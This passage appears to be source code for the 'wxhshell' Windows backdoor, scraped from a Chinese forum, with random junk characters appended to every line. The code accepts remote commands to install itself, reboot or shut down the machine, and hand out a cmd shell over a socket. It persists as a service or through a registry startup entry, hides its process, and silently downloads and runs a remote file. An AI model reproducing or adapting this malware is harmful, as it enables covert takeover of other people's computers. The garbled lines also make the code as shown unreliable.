    switch(cmd[0]) { |0w~P s  
  mVrKz  
  // 帮助 \9jpCNdJ  
  case '?': { 32KR--mn%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KZ\dB;W< |  
    break; r%[1$mTOR  
  } Q!) z)-hI  
  // 安装 bw;iz ,Z  
  case 'i': { 1}DerX6  
    if(Install()) rgT%XhUS6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jk~UEqr+  
    else >Jiij  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jaa/k@OG  
    break; 8l?w=)Qy  
    } =#'+"+lQ }  
  // 卸载 GU#Q}L2  
  case 'r': { >0M:&NMda  
    if(Uninstall()) `vH&K{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9Z[z73_a  
    else scmto cm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "o<D;lO  
    break; C&oxi$J:p+  
    } V%o#AfMI_  
  // 显示 wxhshell 所在路径 m`a>,%}P"  
  case 'p': { o@@_J@}#  
    char svExeFile[MAX_PATH]; "?+UI   
    strcpy(svExeFile,"\n\r"); lYdQB[l  
      strcat(svExeFile,ExeFile); T:'+6  
        send(wsh,svExeFile,strlen(svExeFile),0); * S{\#s  
    break; {Ot[WF  
    } KMe.i'  
  // 重启 5 2fO)!  
  case 'b': { Nq  U9/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6BHPzv+Y  
    if(Boot(REBOOT)) S#hu2\9D,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm}C\q9  
    else { FBbm4NB  
    closesocket(wsh); %N1T{   
    ExitThread(0); iUpSN0XkMM  
    } LNbx3W oC  
    break; b/G8M r  
    } i!y\WaCp  
  // 关机 d^_itC;-,  
  case 'd': { f0g6g!&gf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =X<)5IS3  
    if(Boot(SHUTDOWN)) (O Qi%/Oy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q>c+bo 6  
    else { @ikUM+A {  
    closesocket(wsh); yh4jRe?f  
    ExitThread(0); W|~q<},j  
    } "&| lO|  
    break; *SXSF95  
    } ]&/0  
  // 获取shell CARq^xI-  
  case 's': { i{4'cdr?  
    CmdShell(wsh); 3l.Nz@a*  
    closesocket(wsh); #Xj;f^}/  
    ExitThread(0); /S/tE  
    break; !+%Az*ik  
  } I"~xDa!  
  // 退出 +0SW ?#%  
  case 'x': { !;ZBL;qY9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r$Yh)rpt:  
    CloseIt(wsh); NH<Y1t  
    break; ~}Kp  
    } 0LZ=`tI  
  // 离开 $)4GCP  
  case 'q': { +q$xw}+PK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ Eszr(zJ  
    closesocket(wsh); j #4+-  
    WSACleanup(); ,K`E&hS  
    exit(1); CuF%[9[cT  
    break; ,,zd.9n  
        } z^ YeMe  
  } _95- -\  
  } WFQ*s4 R(  
q.U*X5  
  // 提示信息 !4i,%Z& 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i#Ne'q;T  
} ll 6]W~[ZC  
  } {/th`#o4b  
(X0`1s  
  return; $(Z]TS$M&  
} 4o)(d=q  
C+ZQB)gn  
// shell模块句柄 Omp i~  
int CmdShell(SOCKET sock) "m wl-=  
{ >SY 2LmV'a  
STARTUPINFO si; hwEZj`9  
ZeroMemory(&si,sizeof(si)); &?}kL= h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5B8V$ X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <W=~UUsn  
PROCESS_INFORMATION ProcessInfo; K'a#Mg  
char cmdline[]="cmd"; 'Wo?%n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ocb%&m ;i  
  return 0; VyB\]EBu  
} -G(3Y2  
l{M;PaJ`}  
// 自身启动模式 Kx(76_XD  
int StartFromService(void) tn(?nQN3  
{ D|u^8\'.  
typedef struct '-$))AdD  
{ V[BY/<z)A  
  DWORD ExitStatus; GlXA-p<  
  DWORD PebBaseAddress; x*5 Ch~<k  
  DWORD AffinityMask; z }FiU[Hs  
  DWORD BasePriority; <XkkYI(  
  ULONG UniqueProcessId; i*mZi4URN  
  ULONG InheritedFromUniqueProcessId; > C*?17\  
}   PROCESS_BASIC_INFORMATION; _"R3N  
J3]qg.B%z  
PROCNTQSIP NtQueryInformationProcess; Td["l!-fe  
krEH`f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l044c,AW(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yv6Zo0s<J  
_QC?:mv6-  
  HANDLE             hProcess; 7/5NaUmPTt  
  PROCESS_BASIC_INFORMATION pbi; U.zRIhA ]  
_mIa8K;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zN?$Sxttx  
  if(NULL == hInst ) return 0; !mpMa]G3  
bQ|#_/?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M~d+HE   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X+?Il)Bv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); knNhN=hG+  
T:w2  
  if (!NtQueryInformationProcess) return 0; \]L::"![?  
35]j;8N:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2XETQ;9  
  if(!hProcess) return 0; Mhu53DT  
P%<aGb4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m<X#W W)N  
\Y>#^b?  
  CloseHandle(hProcess); )V9Mcr*Ce6  
X\c1q4oB[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PsF- 9&_  
if(hProcess==NULL) return 0; @1J51< x  
z$I[kR%I{  
HMODULE hMod; yi AG'[  
char procName[255]; Zh@4_Z9n!  
unsigned long cbNeeded; ]noP  
Tb!B!m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *783xEF>f  
O&rD4#  
  CloseHandle(hProcess); {|7OmslC@  
kB$,1J$q  
if(strstr(procName,"services")) return 1; // 以服务启动 BCa90  
1{\,5U&  
  return 0; // 注册表启动 p ?Ij-uo"o  
} WcZo+r  
*tbpFk4/  
// 主模块 x 1%J1?Fp  
int StartWxhshell(LPSTR lpCmdLine) yPzULO4  
{ I9Edw]  
  SOCKET wsl; FJn~ =hA  
BOOL val=TRUE; `ohF?5J,  
  int port=0; do?S,'(g  
  struct sockaddr_in door; (:j+[3Ht  
+_-)0[+p  
  if(wscfg.ws_autoins) Install(); u$Pf.#  
f<s'prF  
port=atoi(lpCmdLine); iaaH9X %  
YP .%CD(K  
if(port<=0) port=wscfg.ws_port; VAF:Z  
R.T?ZF  
  WSADATA data; NXWIE4T>*^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QvK]<HEr  
DS[l,x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x]%4M\T``  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,,wyydG  
  door.sin_family = AF_INET; N#-kk3!Z;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $&n240(  
  door.sin_port = htons(port); FgHB1x4;  
=A6u=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '^.=gTk  
closesocket(wsl); V5hlG =V  
return 1; 0N3tsIm>  
} KOAz-h@6   
XCqfAcNQ  
  if(listen(wsl,2) == INVALID_SOCKET) { k?|zIu  
closesocket(wsl); sGDrMAQt  
return 1; S8W_$=4  
} yoA*\V  
  Wxhshell(wsl); -; /@;W  
  WSACleanup(); A Eyr_!G,  
i}$N&  
return 0; S#0|#Z5qD  
WO \lny!  
} I%zo>s6  
8G[Y9A(bmP  
// 以NT服务方式启动 Ph! KL\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Xkc0E1  
{ (Aov}I+  
DWORD   status = 0; 9q0,K" x)  
  DWORD   specificError = 0xfffffff; -SC2Zgi)A  
1 [~|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x1hs19s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QF.wtMGF&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z+"E*  
  serviceStatus.dwWin32ExitCode     = 0; 5x1jLPl'  
  serviceStatus.dwServiceSpecificExitCode = 0; 3/SqXu  
  serviceStatus.dwCheckPoint       = 0; v_1JH<GJ-  
  serviceStatus.dwWaitHint       = 0; %.atWX`b  
D !D%.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i$LV44  
  if (hServiceStatusHandle==0) return; UNZVu~WnF  
Jk6/i;4|  
status = GetLastError(); dn.c#,Y  
  if (status!=NO_ERROR) u):Rw  
{ I;":O"ij\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |)P;%Fy9  
    serviceStatus.dwCheckPoint       = 0; ^x1D]+  
    serviceStatus.dwWaitHint       = 0; tB(X`A.|  
    serviceStatus.dwWin32ExitCode     = status; qU x7S(a  
    serviceStatus.dwServiceSpecificExitCode = specificError; /wCxf5q0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?H7p6m u  
    return; ?;.+A4  
  } dE9aE#o  
@l6 dJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C7*Yg$`{  
  serviceStatus.dwCheckPoint       = 0; B=RKi\K6a  
  serviceStatus.dwWaitHint       = 0; J<P/w%i2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G3?a~n^b  
} s)7`r6w  
*}WqYqOow  
// 处理NT服务事件,比如:启动、停止 ?$8 ,j+&I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EpoQV^ Ey  
{ $lG--s  
switch(fdwControl) 7[?}kG   
{ @ :   
case SERVICE_CONTROL_STOP: C` 1\$U~%  
  serviceStatus.dwWin32ExitCode = 0; c,s<q j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4#Nd;gM2  
  serviceStatus.dwCheckPoint   = 0; QX~72X=(  
  serviceStatus.dwWaitHint     = 0; Hd@T8 D*A  
  { cJE>;a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); []fj~hj  
  } W!9f'Yn  
  return; RV@(&eM  
case SERVICE_CONTROL_PAUSE: +VI0oo {Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `9"jHw`D  
  break; M+&eh*:z:  
case SERVICE_CONTROL_CONTINUE: Mud\Q["  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WaO;hy~us  
  break; Z YO/'YW  
case SERVICE_CONTROL_INTERROGATE: _q!ck0_  
  break; B(vz$QE,$r  
}; %$-3fj7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MS^hsUj}  
} F9G$$%Q-Z  
[~r $US  
// 标准应用程序主函数 9lwo/(s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6nk|*HPz  
{ JC?V].) y5  
i~PZvxt  
// 获取操作系统版本 g8@i_  
OsIsNt=GetOsVer(); [z t&8g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D `3yv R  
&(U=O?r7  
  // 从命令行安装 Ita!07  
  if(strpbrk(lpCmdLine,"iI")) Install(); M(f*hOG{Y  
/ z>8XM&  
  // 下载执行文件 tp3N5I  
if(wscfg.ws_downexe) { |`9zE]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a{YVz\?d}  
  WinExec(wscfg.ws_filenam,SW_HIDE); I)4|?tb ?  
} z&G3&?Z  
v?'k)B  
if(!OsIsNt) { #[ rFep  
// 如果时win9x,隐藏进程并且设置为注册表启动 u6&Ixi/s'  
HideProc(); j:<T<8 .o  
StartWxhshell(lpCmdLine); sU3V)7"  
} $fpDABf  
else '`VO@a  
  if(StartFromService()) HDG"a&$   
  // 以服务方式启动 Y7I  
  StartServiceCtrlDispatcher(DispatchTable); ^\t">NJ^  
else |vE#unA  
  // 普通方式启动 ]V7hl#VO  
  StartWxhshell(lpCmdLine); *>H'@gS  
4>eg@sN  
return 0; 8k}CR)3@C  
}
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只看该作者 1 发表于: 2006-10-10
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